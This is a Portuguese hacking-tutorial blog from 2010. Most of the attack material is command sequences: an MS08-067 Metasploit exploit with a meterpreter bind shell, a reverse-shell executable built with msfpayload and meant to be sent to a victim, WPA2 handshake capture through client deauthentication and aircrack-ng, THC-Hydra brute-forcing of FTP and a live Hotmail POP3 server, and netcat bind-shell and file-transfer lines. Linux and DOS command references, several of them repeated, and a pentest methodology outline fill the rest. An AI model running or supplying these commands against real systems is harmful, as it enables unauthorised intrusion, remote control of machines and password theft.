Vídeo a exemplificar a abertura de um cadeado utilizando o jigler nr5.
Sunday, June 20, 2010
Exploit ms08_067_netapi + payload bind_tcp
MrTcp - Exploit ms08_067_netapi + payload bind_tcp
Ola desta vez vamos usar o exploit ms08_067_netapi com a payload bind_tcp no meterpreter, mais informações sobre esta falha nos sistemas da Microsoft e como resolver pode ver neste link : MS08-067
PAYLOAD= windows/meterpreter/bind_tcp
EXPLOIT= exploit/smb/ms08_067_netapi
IP local= 192.168.1.4
IP remoto= 192.168.1.2
SO local = Backtrack4
SO remoto = Windows Server 2003 SP0
//Abrir o MetaSploit
# cd /pentest/exploit/framework3
#./msfconsole
//Escolher Exploit ms08_067_netapi
#use windows/smb/ms08_067_netapi
//Ver Opçoes
#show options
//Definir opçoes
#set RHOST 192.168.1.2
//Definir payload
#set payload windows/meterpreter/bind_tcp
//explorar a maquina
#exploit
//Se tudo correu bem ate aqui já estamos na maquina alvo, podemos executar o comando #help
para ver todas as opções do framework disponíveis. Se quisermos abrir o DOS da maquina alvo e só digitar o comando #shell
Exploit handler+reverse_tcp
Exploit handler+reverse_tcp
Bem Vindos, nesta vídeo aula vamos utilizar o MetaSploit FrameWork3. Vamos usar o exploit handler e a payload shell_reverse_tcp, primeiro vamos configurar e criar o nosso executável com a payload shell_reverse_tcp, depois vamos configurar o exploit handler com a payload shell_reverse_tcp para ficar a escuta das ligações da vitima.
PAYLOAD= windows/shell_reverse_tcp
EXPLOIT= exploit/multi/handler
localhost= 192.168.1.4
remotehost= 192.168.1.2
SO local = Backtrack4
SO remoto = Windows server 2003 SP1
//Usar a payload shell_reverse_tcp;
#./msfpayload windows/shell_reverse_tcp O
//Configurar a payload com o host local e a porta;
#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 O
//Criar arquivo executável, a enviar para a vitima;
#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 X > /tmp/MrTcp.exe
//Verificar o Arquivo criado;
#file /tmp/MrTcp.exe
//Abrir o framework;
#./msfconsole
//Usar o exploit hander;
#use exploit/multi/handler
//Mostrar as opções do handler;
#show options
//Adicionar payload reverse_tcp ao exploit;
#set payload windows/shell/reverse_tcp
//Mostrar opções da payload;
#show options
//Definir o host local para ficar a espera de ligaçoes;
#set LHOST 192.168.1.4
//Definir a porta local para ficar a espera de ligações;
#set LPORT 333
//Executar exploit
#exploit
Crack Passwords Wpa/Wpa2
Crack Passwords Wpa/Wpa2
Autor: MrTcp
Ferramentas: Airodump-ng, Airplay-ng,Aircrack-ng
Video : http://blip.tv/file/3429237/
Bem Vindos esta vídeo aula vamos ver como descobrir uma password de uma rede wireless protegida por WPA2.
Para puder-mos descobrir uma senha wireless precisamos ter uma placa wireless que suporte injecção de pacotes, já existem varias a venda e só perguntar ao Google, placas compatíveis com Windows são mais difíceis de arranjar. Entretanto precisamos decidir que sistema operativo vamos usar eu pessoalmente prefiro Linux para estes serviços :-)
Vamos precisar de uma ferramenta chamada Aircrack-ng, esta ferramenta já vem instalada no Backtrack e com as drivers compiladas, se quiseres usar numa outra distribuição vais ter fazer o Download das drivers e respectivas Patches para a tua placa wireless, nesta vídeo aula não vamos ver como instalar e compilar as drivers, numa outra aula mais a frente talvez.
Para descobrir a password de uma rede wireless WPA2 temos de desautenticar o cliente do access point , para pudermos capturar os pacotes que contêm a password e depois a pudermos decifrar.
//Alterar o MacAddress da nossa placa wireless;
#ifconfig wlan0 down
#macchanger --mac 00:11:22:33:44:55 wlan0
//Colocar placa em modo monitor, depois de digitar-mos este comando vai ser criada uma outra interface no meu caso é a mon0
#airmon-ng start wlan0
//Verificar as redes wireless, verificar o canal em que a rede esta a operar e o bssid do AccessPoint para utilizar no airodump-ng
#airodump-ng mon0
//Depois de verificado o canal e o bssid usar o airodump-ng para capturar toda a informação para um ficheiro com o seguinte comando;
#airodump-ng -c 11 -w justtry --bssid 00:22:3F:D2:C6:AB mon0
//Definiçoes : no -c colocamos o canal em que a rede esta a operar, no -w fica o nome do ficheiro que vamos gerar no --bssid colocamos o MacAddress do Access Point;
//Depois de estar tudo a ser capturado para o ficheiro temos de desautenticar o cliente do Access Point com o seguinte comando;
#aireplay-ng -0 20 -a 00:22:3F:D2:C6:AB -c 00:25:69:B5:27:F7 mon0
// Descrição : no parâmetro -0 e a opção do aireplay-ng para desautenticar os clientes dos AP's (Access Point's) o numero 20 é o numero de vezes que vai mandar as desautenticações, o -a colocamos o MacAddress do AP e no -c colocamos o MacAddress do Cliente, passado uns segundos temos o nosso HANDSHAKE, depois é só usar o aircrack-ng para crackar a password com o seguinte comando;
#aircrack-ng -w darkc0de.lst justtry_01.cap
//Descrição : no parametro -w utilizamos o caminho para o nosso dicionário no meu caso esta na raiz, depois colocamos o nome do ficheiro .pcap criado pelo airodump-ng
//Agora é só esperar ate a senha estar descoberta, lembre-se para que possam descobrir a password, ela tem de estar no vosso dicionário, senão nada feito. Existe técnicas como as Rainbow Tables que permite-nos usar mais palavras por segundo do que este método aqui utilizado. Futuramente vou fazer uma vídeo aula de como criar Rainbow Tables para chaves wireless e outra de como as usar. Ate breve
Airodump-NG
Airodump-NG
Airodump-ng 1.0 r1668http://www.aircrack-ng.org
Tradução : MrTcp
Sintaxe: airodump-ng
Opçoes:
--ivs : So captura IVs;
--gpsd : Usa GPSd
--write
-w : Mesmo que: --write
--beacons : Grava todos os beacons num ficheiro Dump;
--update
--showack : Imprime estatísticas ack/cts/rt;
-h : Esconde estações conhecidas de --showack;
-f
--berlin
-r
-x
--output-format
Opções de Filtros:
--encrypt
--netmask
--bssid
-a : Filtra clientes não associados;
Por padrão o airodump-ng opera nos canais da frequência 2.4Ghz.
Pode-se capturar em outros canais específicos usando:
--channel
--band
-C
--cswitch
0 : FIFO (padrão)
1 : Round Robin
2 : Hop on last
-s : Mesmo que : --cswitch
--help : Mostra a Ajuda;
THC-Hydra
THC-Hydra
http://freeworld.thc.org
12-05-2010
O THC-Hydra é uma ferramenta para ataques de força-bruta (brute-force) para vários protocolos de rede actualmente são suportados os protocolos listados em baixo, neste tutorial não vamos abordar todos os protocolos , futuramente vamos falar sobre cada um deles;
Neste tutorial vamos utilizar o THC-Hydra para descobrir senhas dos seguintes protocolos: pop3, FTP, Telnet e SMB, todos os ataques vão ser realizados em maquinas virtuais dentro da minha rede e todas as passwords vão ser previamente definidas no dicionário a utilizar;
Ip do Servidor : 192.168.10.5
Ip Local : 192.168.10.3
Utilizador: MrTcp
Email – MrTcp-teste[at]live.com.pt
Password - *****
Sintaxe:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
Options:
-R #Restaura uma sessão abortada;
-S #Conecta via SSL
-s porta #Se o serviço estiver a correr numa porta diferente definir aqui
-l #Utilizador a utilizar;
-L #Ficheiro com varios utilizadores a utilizar;
-p #Password a utilizar;
-P #Ficheiro ou dicionário de passwords a utilizar;
-e ns #Informação adicional o “n” verifica se existe passwords nulas e o “s” experimenta o nome do utilizador como password;
-C ficheiro #Ficheiro com utilizadores e passwords em coluna com o seguinte formato: "login:pass" e um por linha, é usado em vês das opções –Le –P;
-M ficheiro #Lista de servidores para ataques paralelos, um por linha;
-o ficheiro #Escreve utilizadores e passwords encontrados para um ficheiro em vez do stdout que imprime na tela;
-f #Desconecta depois de encontrar o primeiro utilizador/password;
-t TASKS #Executa as tarefas conforme o numero de ligações em paralelo, o padrão são 16;
-w tempo #Define o tempo maximo de espera em segundos para responder, o padrao é 30;
-v / -V #Modo detalhado;
Servidor #IP ou DNS do servidor alvo, pode-se usar a opção –M em substituição desta;
Service “Serviço ou protocolo a atacar, temos os seguintes disponíveis:
telnet, ftp, pop3[-ntlm], imap[-ntlm], smb, smbnt, http[s]-{head|get} , http-{get|post}-form , http-proxy, cisco , cisco-enable, vnc, ldap2, ldap3, mssql, mysql, oracle-listener, postgres, nntp, socks5, rexec, rlogin, pcnfs, snmp, rsh, cvs, svn, icq, sapr3, ssh2, smtp-auth[-ntlm] , pcanywhere, teamspeak, sip, vmauthd …
------------------------------------------------------------------------------------------------------------------------------
POP3
Neste exemplo vamos descobrir a password do email mrtcp-teste[at]live.com.pt usando o ataque de força bruta, este email é meu e foi criado previamente para este exemplo;
Sintaxe:
#hydra –S –v –l mrtcp-teste[at]live.com.pt–P /root/dic.dic pop3.live.com pop3
Definição:
-S -> Conecta por ligação segura;
-v -> Modo detalhe, permite verificar as passwords mais facilmente;
-l -> Email a descobrir a password;
-P -> Directorio onde se encontra o dicionário a utilizar;
Pop3.live.com -> Dns do servidor POP3 da Hotmail;
Pop3 -> Protocolo a ser utilizado, neste caso é o POP3;
-----------------------------------------------------------------------------------------------------------------------------------
FTP
hydra 192.168.10.3 ftp -l mrtcp -P /root/dic.txt -e ns -t 15 -f -o /root/pass
-------------------------------------------------------------------------------------------------------------------------------------
TELNET
-------------------------------------------------------------------------------------------------------------------------------------
SMB
---------------------------------------------------------------------------------------------------------------------------------------
Vídeo
http://freeworld.thc.org
12-05-2010
O THC-Hydra é uma ferramenta para ataques de força-bruta (brute-force) para vários protocolos de rede actualmente são suportados os protocolos listados em baixo, neste tutorial não vamos abordar todos os protocolos , futuramente vamos falar sobre cada um deles;
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
LDAP2, Cisco AAA
Neste tutorial vamos utilizar o THC-Hydra para descobrir senhas dos seguintes protocolos: pop3, FTP, Telnet e SMB, todos os ataques vão ser realizados em maquinas virtuais dentro da minha rede e todas as passwords vão ser previamente definidas no dicionário a utilizar;
Ip do Servidor : 192.168.10.5
Ip Local : 192.168.10.3
Utilizador: MrTcp
Email – MrTcp-teste[at]live.com.pt
Password - *****
Sintaxe:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
Options:
-R #Restaura uma sessão abortada;
-S #Conecta via SSL
-s porta #Se o serviço estiver a correr numa porta diferente definir aqui
-l #Utilizador a utilizar;
-L #Ficheiro com varios utilizadores a utilizar;
-p #Password a utilizar;
-P #Ficheiro ou dicionário de passwords a utilizar;
-e ns #Informação adicional o “n” verifica se existe passwords nulas e o “s” experimenta o nome do utilizador como password;
-C ficheiro #Ficheiro com utilizadores e passwords em coluna com o seguinte formato: "login:pass" e um por linha, é usado em vês das opções –Le –P;
-M ficheiro #Lista de servidores para ataques paralelos, um por linha;
-o ficheiro #Escreve utilizadores e passwords encontrados para um ficheiro em vez do stdout que imprime na tela;
-f #Desconecta depois de encontrar o primeiro utilizador/password;
-t TASKS #Executa as tarefas conforme o numero de ligações em paralelo, o padrão são 16;
-w tempo #Define o tempo maximo de espera em segundos para responder, o padrao é 30;
-v / -V #Modo detalhado;
Servidor #IP ou DNS do servidor alvo, pode-se usar a opção –M em substituição desta;
Service “Serviço ou protocolo a atacar, temos os seguintes disponíveis:
telnet, ftp, pop3[-ntlm], imap[-ntlm], smb, smbnt, http[s]-{head|get} , http-{get|post}-form , http-proxy, cisco , cisco-enable, vnc, ldap2, ldap3, mssql, mysql, oracle-listener, postgres, nntp, socks5, rexec, rlogin, pcnfs, snmp, rsh, cvs, svn, icq, sapr3, ssh2, smtp-auth[-ntlm] , pcanywhere, teamspeak, sip, vmauthd …
------------------------------------------------------------------------------------------------------------------------------
POP3
Neste exemplo vamos descobrir a password do email mrtcp-teste[at]live.com.pt usando o ataque de força bruta, este email é meu e foi criado previamente para este exemplo;
Sintaxe:
#hydra –S –v –l mrtcp-teste[at]live.com.pt–P /root/dic.dic pop3.live.com pop3
Definição:
-S -> Conecta por ligação segura;
-v -> Modo detalhe, permite verificar as passwords mais facilmente;
-l -> Email a descobrir a password;
-P -> Directorio onde se encontra o dicionário a utilizar;
Pop3.live.com -> Dns do servidor POP3 da Hotmail;
Pop3 -> Protocolo a ser utilizado, neste caso é o POP3;
-----------------------------------------------------------------------------------------------------------------------------------
FTP
hydra 192.168.10.3 ftp -l mrtcp -P /root/dic.txt -e ns -t 15 -f -o /root/pass
-------------------------------------------------------------------------------------------------------------------------------------
TELNET
-------------------------------------------------------------------------------------------------------------------------------------
SMB
---------------------------------------------------------------------------------------------------------------------------------------
Vídeo
Referência Rápida - Linux/Unix (sh - bash)
alias - Define e exibe nomes alternativos de comados.
arch ou archdetect - Exibe a arquitectura da máquina.
awk - Linguagem de verificação e processamento de padrões.
bash - Bourne Again Shell
bg - Move um processo para o background.
biff - Avisa quando recebe nome email.
cat - Mostra o conteúdo de um ficheiro de uma só vez.
cd - Muda de directório
chage - Altera informações do utilizador.
cfdisk - Aplicação para gestão de partições.
chgrp - Altera propriedades de grupo.
chmod - Altera propriedades de arquivo (rwx)
chroot - Muda o directório Raiz (eg. chroot /mnt/distro1 /bin/bash)
chsh - Altera a shell do logon.
clear - Limpa a tela (consola)
cp - Copia ficheiros ou pastas.
crontab - Mostra e define tarefas agendadas.
csh - Shell cd C.
cut - Usado para eliminar informação desnecessária de um ficheiro de texto.
date - Imprime e altera a data e hora do sistema.
dd - Copia ficheiros, formata discos rigidos, copia cd/dvd's, etc...
df - Mostra o espaço utilizado em disco.
diff - Compara dois ou mais ficheiros mostrando as diferenças.
dig - Utilitário de pesquisa do DNS.
dmesg - Mostra mensagens de sistema.
dnsdomainname - Mostra o DNS do sistema.
domainname - Mostra o NIS ou YP do sistema.
du - Mostra o espaço ocupado pelos ficheiros.
echo - Exibe uma mensagem.
fg - Move processo que está no background para primeiro plano.
file - Determina o tipo de arquivo. (text, ANSI, etc...)
find - Procura ficheiros (find /home/user/ -iname doc)
free - Exibe a quantidade de memoria usada e livre.
ftp - Cliente de ftp
fuser - Identificação de processos usando sockets e/ou espaço em disco
gcc - Compilador de C e C++
grep - Exibe linhas corepondetes a um padrão.
groupadd - Adiciona um grupo.
groupdel - Elimina um grupo.
groupmod - Modifica um grupo.
groups - imprme todos os grupos relativos ao utilizador.
id - Exibe ID do utilizador.
jed - Editor de texto com menus.
ifconfig - Configuração de interfaces de rede.
kill - Mata um processo.
lastlog - Mostra os ultimos utilizadores conectados detalhadamente.
ln - Cria um link.
lsof - Mostra todos os arquivos/processos/sockets abertos no momento.
man - Manual técnico. (eg. man mkdir)
mkdir - Cria um ou mais directorios. (eg. mkdir -p /ola/Como/Estas/.tu)
more - Mostra o conteudo de um ficheiro página por página.
mount - Monta/habilita a leitura ou escrita de uma partição ou ficheiro de sistema.
mv - Move ficheiros ou pastas.
nano - Editor de texto simples.
netstat - Exibe todas as ligações TCP/IP
nice - Executa um programa com agendamento e prioridade modificados.
nslookup - Consulta DNS
passwd - Modifica a palavra-chave do utilizador.
ping - Envia ICMP ECHO_REQUEST para um PC.
ps - Exibe todos os processos activos.
pwd - Exibe a localização da pasta que estamos.
quota - Exibe limites de utilização de disco.
quotaoff - Desactiva quotas.
quotaon - Activa quotas.
rm - Remove ficheiros ou pastas.
route - Define e/ou manipula as rotas da maquina.
rpcinfo - Reporta informações RPC do sistema
sed - Stream Editor
setquota - Define quotas do disco.
sleep - Atrasa por um periodo determinado (usado para programação de shell script)
sort - Imprime ordenadamente por ordem alfabetica/numerica.
strace - Rastreia sinais de sistema.
su - Altera para Super-Utilizador (root)
tail - imprime as ultimas linhas de um ficheiro
tar - Descompacta e compacta ficheiros (tar, gz, bz2, etc...)
umount - desmonta um ficheiro de sistema. (NTFS, fat32, ISO, etc..)
uname - Mostra informações de sistema e distribuição
useradd - Adiciona um utilizador.
userdel - Apaga um utilizador.
uptime - Mostra à quanto tempo o sistema está ligado.
vi - Editor de texto.
w - Mostra todos os utilizadores que estão ligados.
wall - Envia mensagem para todos os utilizadores ligados.
wc - Faz a contagem de palavras de um ficheiro de texto.
which - Mostra o caminho completo dos ficheiros/aplicações que procuramos.
whoami - diz-nos quem somos (whoami - root)
arch ou archdetect - Exibe a arquitectura da máquina.
awk - Linguagem de verificação e processamento de padrões.
bash - Bourne Again Shell
bg - Move um processo para o background.
biff - Avisa quando recebe nome email.
cat - Mostra o conteúdo de um ficheiro de uma só vez.
cd - Muda de directório
chage - Altera informações do utilizador.
cfdisk - Aplicação para gestão de partições.
chgrp - Altera propriedades de grupo.
chmod - Altera propriedades de arquivo (rwx)
chroot - Muda o directório Raiz (eg. chroot /mnt/distro1 /bin/bash)
chsh - Altera a shell do logon.
clear - Limpa a tela (consola)
cp - Copia ficheiros ou pastas.
crontab - Mostra e define tarefas agendadas.
csh - Shell cd C.
cut - Usado para eliminar informação desnecessária de um ficheiro de texto.
date - Imprime e altera a data e hora do sistema.
dd - Copia ficheiros, formata discos rigidos, copia cd/dvd's, etc...
df - Mostra o espaço utilizado em disco.
diff - Compara dois ou mais ficheiros mostrando as diferenças.
dig - Utilitário de pesquisa do DNS.
dmesg - Mostra mensagens de sistema.
dnsdomainname - Mostra o DNS do sistema.
domainname - Mostra o NIS ou YP do sistema.
du - Mostra o espaço ocupado pelos ficheiros.
echo - Exibe uma mensagem.
fg - Move processo que está no background para primeiro plano.
file - Determina o tipo de arquivo. (text, ANSI, etc...)
find - Procura ficheiros (find /home/user/ -iname doc)
free - Exibe a quantidade de memoria usada e livre.
ftp - Cliente de ftp
fuser - Identificação de processos usando sockets e/ou espaço em disco
gcc - Compilador de C e C++
grep - Exibe linhas corepondetes a um padrão.
groupadd - Adiciona um grupo.
groupdel - Elimina um grupo.
groupmod - Modifica um grupo.
groups - imprme todos os grupos relativos ao utilizador.
id - Exibe ID do utilizador.
jed - Editor de texto com menus.
ifconfig - Configuração de interfaces de rede.
kill - Mata um processo.
lastlog - Mostra os ultimos utilizadores conectados detalhadamente.
ln - Cria um link.
lsof - Mostra todos os arquivos/processos/sockets abertos no momento.
man - Manual técnico. (eg. man mkdir)
mkdir - Cria um ou mais directorios. (eg. mkdir -p /ola/Como/Estas/.tu)
more - Mostra o conteudo de um ficheiro página por página.
mount - Monta/habilita a leitura ou escrita de uma partição ou ficheiro de sistema.
mv - Move ficheiros ou pastas.
nano - Editor de texto simples.
netstat - Exibe todas as ligações TCP/IP
nice - Executa um programa com agendamento e prioridade modificados.
nslookup - Consulta DNS
passwd - Modifica a palavra-chave do utilizador.
ping - Envia ICMP ECHO_REQUEST para um PC.
ps - Exibe todos os processos activos.
pwd - Exibe a localização da pasta que estamos.
quota - Exibe limites de utilização de disco.
quotaoff - Desactiva quotas.
quotaon - Activa quotas.
rm - Remove ficheiros ou pastas.
route - Define e/ou manipula as rotas da maquina.
rpcinfo - Reporta informações RPC do sistema
sed - Stream Editor
setquota - Define quotas do disco.
sleep - Atrasa por um periodo determinado (usado para programação de shell script)
sort - Imprime ordenadamente por ordem alfabetica/numerica.
strace - Rastreia sinais de sistema.
su - Altera para Super-Utilizador (root)
tail - imprime as ultimas linhas de um ficheiro
tar - Descompacta e compacta ficheiros (tar, gz, bz2, etc...)
umount - desmonta um ficheiro de sistema. (NTFS, fat32, ISO, etc..)
uname - Mostra informações de sistema e distribuição
useradd - Adiciona um utilizador.
userdel - Apaga um utilizador.
uptime - Mostra à quanto tempo o sistema está ligado.
vi - Editor de texto.
w - Mostra todos os utilizadores que estão ligados.
wall - Envia mensagem para todos os utilizadores ligados.
wc - Faz a contagem de palavras de um ficheiro de texto.
which - Mostra o caminho completo dos ficheiros/aplicações que procuramos.
whoami - diz-nos quem somos (whoami - root)
Saturday, June 19, 2010
Referência Rápida - MS DOS
Comandos de rede do sistema MS-Windows
NB: Para mais informações de como se usa cada comando deve-se acrescentar o sufixo /?. eg. net /?
at - Agenda comandos para serem executados numa hora especifica.
finger - Mostra informações de um sistema que está a usar esse serviço.
hostname - Mostra o nome da estação de trabalho.
nbstat - Mostra as informações NetBIOS do sistema.
net continue - Reinicia um serviço que estava em pause.
net file - Lista de ficheiros abertos que estão partilhados.
net group - Adiciona, exibe ou modifica grupos globais no domínio.
net help - Ajuda do comando net.
net helpmsg - Mostra mensagens de erro/aviso/alertas do Windows.
net localgroup - Para manipular grupos locais.
net name - Exibe/adiciona/exclui nomes de um PC
net pause - Suspende um recurso ou serviço do Windows.
net send - Envia mensagens para outros computadores na rede.
net session - Lista ou desconecta sessões abertas.
net share - Exibe/adiciona/exclui recursos partilhados no computador.
net start - Inicia serviços e também lista.
net stop - Para serviços.
net time - Sincroniza a hora e a data dum computador.
net use - Conecta ou desconecta um computador a um recurso partilhado.
net user - Exibe/adiciona/exclui/modifica contas de utilizadores num PC.
net view - Mostra uma lista de recursos ou computadores partilhados na rede.
netstat - Exibe o estado actual das ligações TCP/IP.
nslookup - Fornece a conversão de nomes DNS.
pathping - Combina recursos tracert e ping para fornecer informações de rota e rastreio.
rasdial - Conecta a um servidor remoto.
rcp - Copia ficheiros de um computador para outro.
reg - Exibe/adiciona chaves no computador local.
rexec - Executa comandos numa máquina remota que está a usar o serviço rexec
rsh - Executa comandos numa maquina remota que está a usar o serviço rsh.
runas - Executa comandos com previlégios especificos.
start - inicia uma janela separada para executar um programa ou serviço.
tftp - Transfere ficheiros remotos duma maquina que esteja a usar o serviço lftp.
finger - Mostra informações de um sistema que está a usar esse serviço.
hostname - Mostra o nome da estação de trabalho.
nbstat - Mostra as informações NetBIOS do sistema.
net continue - Reinicia um serviço que estava em pause.
net file - Lista de ficheiros abertos que estão partilhados.
net group - Adiciona, exibe ou modifica grupos globais no domínio.
net help - Ajuda do comando net.
net helpmsg - Mostra mensagens de erro/aviso/alertas do Windows.
net localgroup - Para manipular grupos locais.
net name - Exibe/adiciona/exclui nomes de um PC
net pause - Suspende um recurso ou serviço do Windows.
net send - Envia mensagens para outros computadores na rede.
net session - Lista ou desconecta sessões abertas.
net share - Exibe/adiciona/exclui recursos partilhados no computador.
net start - Inicia serviços e também lista.
net stop - Para serviços.
net time - Sincroniza a hora e a data dum computador.
net use - Conecta ou desconecta um computador a um recurso partilhado.
net user - Exibe/adiciona/exclui/modifica contas de utilizadores num PC.
net view - Mostra uma lista de recursos ou computadores partilhados na rede.
netstat - Exibe o estado actual das ligações TCP/IP.
nslookup - Fornece a conversão de nomes DNS.
pathping - Combina recursos tracert e ping para fornecer informações de rota e rastreio.
rasdial - Conecta a um servidor remoto.
rcp - Copia ficheiros de um computador para outro.
reg - Exibe/adiciona chaves no computador local.
rexec - Executa comandos numa máquina remota que está a usar o serviço rexec
rsh - Executa comandos numa maquina remota que está a usar o serviço rsh.
runas - Executa comandos com previlégios especificos.
start - inicia uma janela separada para executar um programa ou serviço.
tftp - Transfere ficheiros remotos duma maquina que esteja a usar o serviço lftp.
MS-DOS
Append - Semelhante ao Path: permite que programas abram ficheiros noutros directórios.
arp - Exibe/modifica tabelas de IP para MAC
attrib - Modifica propriedades de ficheiros.
cd - Muda de directório.
chkdsk - Utilitário usado para a verificação de erros no Disco.
cls - Limpa a tela.
copy - Copia ficheiros de um lugar para outro.
date - Exibe a data do sistema.
del - Apaga um ou mais ficheiros permanentemente.
dir - Lista os directórios ou ficheiros de uma pasta.
doskey - Utilitário do histórico dos comandos.
edit - Inicia e um programa de edição de texto.
exit - Sai da consola ou termina um serviço que está em execução.
expand - Expande ficheiros compactados no Windows.
fc - Compara dois ficheiros.
fdisk - Cria e apaga partições dum disco rígido.
find - Procura texto num ficheiro de texto. Case-Sensitive.
format - Apaga todo o conteúdo de um disco rígido.
ftp - Transferência de dados através do protocolo FTP.
help - Lista de comandos do DOS ou informação adicional de como se usa um comando.
md - Cria uma pasta.
more - Lista página a página um ficheiros de texto.
move - Move ficheiros ou pastas.
ping - Verifica a conectividade.
print - Imprime ficheiro.
rd - apaga directório.
ren - Muda de nome 1 ou mais ficheiros.
route - Exibe/adiciona/apaga rotas.
sort - organiza lista de ficheiros por ordem alfabética/numérica ou inversamente.
tracert - Exibe a rota de rede de um computador.
tree - Exibe a estrutura de pasta de um disco rígido.
type - Mostra o conteúdo de um ou mais ficheiros.
ver - Versão do Windows
xcopy - Copia arquivos e árvores de directórios.
arp - Exibe/modifica tabelas de IP para MAC
attrib - Modifica propriedades de ficheiros.
cd - Muda de directório.
chkdsk - Utilitário usado para a verificação de erros no Disco.
cls - Limpa a tela.
copy - Copia ficheiros de um lugar para outro.
date - Exibe a data do sistema.
del - Apaga um ou mais ficheiros permanentemente.
dir - Lista os directórios ou ficheiros de uma pasta.
doskey - Utilitário do histórico dos comandos.
edit - Inicia e um programa de edição de texto.
exit - Sai da consola ou termina um serviço que está em execução.
expand - Expande ficheiros compactados no Windows.
fc - Compara dois ficheiros.
fdisk - Cria e apaga partições dum disco rígido.
find - Procura texto num ficheiro de texto. Case-Sensitive.
format - Apaga todo o conteúdo de um disco rígido.
ftp - Transferência de dados através do protocolo FTP.
help - Lista de comandos do DOS ou informação adicional de como se usa um comando.
md - Cria uma pasta.
more - Lista página a página um ficheiros de texto.
move - Move ficheiros ou pastas.
ping - Verifica a conectividade.
print - Imprime ficheiro.
rd - apaga directório.
ren - Muda de nome 1 ou mais ficheiros.
route - Exibe/adiciona/apaga rotas.
sort - organiza lista de ficheiros por ordem alfabética/numérica ou inversamente.
tracert - Exibe a rota de rede de um computador.
tree - Exibe a estrutura de pasta de um disco rígido.
type - Mostra o conteúdo de um ou mais ficheiros.
ver - Versão do Windows
xcopy - Copia arquivos e árvores de directórios.
Wednesday, June 16, 2010
Metodologia da Penetração de sistemas
- 1 1Penetration Testing Methodology
- 1.1 1.1PHASE – I: PLANNING AND PREPARATION
- 1.2 1.2PHASE – II: ASSESSMENT
- 1.3 1.2.1Information Gathering
- 1.4 1.2.2Network Mapping
- 1.5 1.2.3Vulnerability Identification
- 1.6 1.2.4Penetration
- 1.7 1.2.5Gaining Access and Privilege Escalation
- 1.8 1.2.6Enumerating Further
- 1.9 1.2.7Compromise Remote Users/Sites
- 1.10 1.2.8Maintaining Access
- 1.11 1.2.9Cover the Tracks
- 1.12 Audit (optional)
- 1.13 1.3PHASE – III: REPORTING, CLEAN UP & DESTROY ARTIFACTS
- 1.14 1.3.1Reporting
- 1.15 1.3.1.1Verbal Reporting
- 1.16 1.3.1.2Final Reporting
- 1.17 1.3.2Clean Up and Destroy Artifacts
- Fonte
Thursday, June 10, 2010
NetCat - Canivete Suiço do Tcp/Ip
NetCat
10/05/2010
[v1.10-38]
O NetCat é uma ferramenta de rede que lê e escreve dados através de ligação de rede, usando o protocolo TCP / IP.
Ele é projectado para ser um confiável "back-end" ferramenta que pode ser usada directamente ou facilmente conduzida por outros programas ou scripts. Ao mesmo tempo, é um depurador de rede rico em recursos e ferramentas de exploração, uma vez que pode criar praticamente qualquer tipo de ligação necessária e tem várias capacidades interessantes embutidas.
Ele é projectado para ser um confiável "back-end" ferramenta que pode ser usada directamente ou facilmente conduzida por outros programas ou scripts. Ao mesmo tempo, é um depurador de rede rico em recursos e ferramentas de exploração, uma vez que pode criar praticamente qualquer tipo de ligação necessária e tem várias capacidades interessantes embutidas.
-c [comandos shell] – Especifica comandos a serem executados após ligação, os comandos para serem executados são enviados por /bin/sh.
-e [ficheiro] – Específica um ficheiro a executar após a ligação;
-b : Permite BroadCast
-g [gateway]- Gateway’s de serviço, acima de 8;
-G [numero]: Numero de gateway’s de serviço: 4, 8, 12, …
-h : Mostra ajuda;
-i [segundos] – Intervalo de tempo para enviar comandos ou fazer um scan;
-k : Mantém a shell aberta em caso de a ligação falhar;
-l : Modo de escuta, com este parâmetro o NetCat fica a espera de ligações de qualquer endereço;
-n : Só usa números IP, não utiliza servidores DNS;
-o [ficheiro] : Envia tráfego de rede para o ficheiro;
-p [porta] : Específica a porta a usar;
-r : Escolhe portas locais ou remotas aleatórias;
-q [segundos]: Cancela ligação após os segundos definidos se não houver tráfego na ligação;
-s [endereço] : Endereço local;
-T [TOS] : Time of Service – Duração da Ligação;
-t : Negocia ligações TelNet;
-u : Modo UDP;
-v : Modo detalhado, usar –vv para mais detalhes;
-w [segundos] : Tempo para a ligação;
-z : Modo E/S , usado para scan’s, envia os pacotes mas não aguarda ligação;
Exemplos Netcat:
1- Ligar ao endereço 192.168.100.20 na porta 23 ;
Sintaxe - # nc 192.168.100.20 232- Fica a espera de ligações de qualquer endereço na porta 2010;
Sintaxe - #nc –l –p 2010 -vv3- Verificar se o endereço 192.168.100.20 tem alguma porta aberta entre 1 e 10000 (scanner);
Sintaxe - #nc -vv 192.168.100.20 1-100004- Abrir a porta 150 para aceitar ligações e ter acesso a uma shell;
Sintaxe: nc –l 150 –e /bin/sh5- Transferir ficheiro MrTcp.txt para o endereço 192.168.100.20 porta 5000;
Sintaxe: #nc 192.168.100.20 5000 < MrTcp.txt
Subscribe to:
Posts (Atom)
The Truth Of Heath Ledger Joker Full Documentary
The Truth Of Heath Ledger Joker Full Documentary The Truth Of Heath Ledger Joker Full Documentary http://bit.ly/2l6WKqS
-
Defcon 21 - Let's Screw with Nmap https://l.cli-ck.me/2xfkAF9 Defcon 21 - Let's Screw with Nmap https://l.cli-ck.me/2hnQmJS
-
GMS - Tudo Mundo GMS - Tudo Mundo Also known as the Growling Mad Scientists. The psytrance group Growling Mad Scientists (living in Ibiza...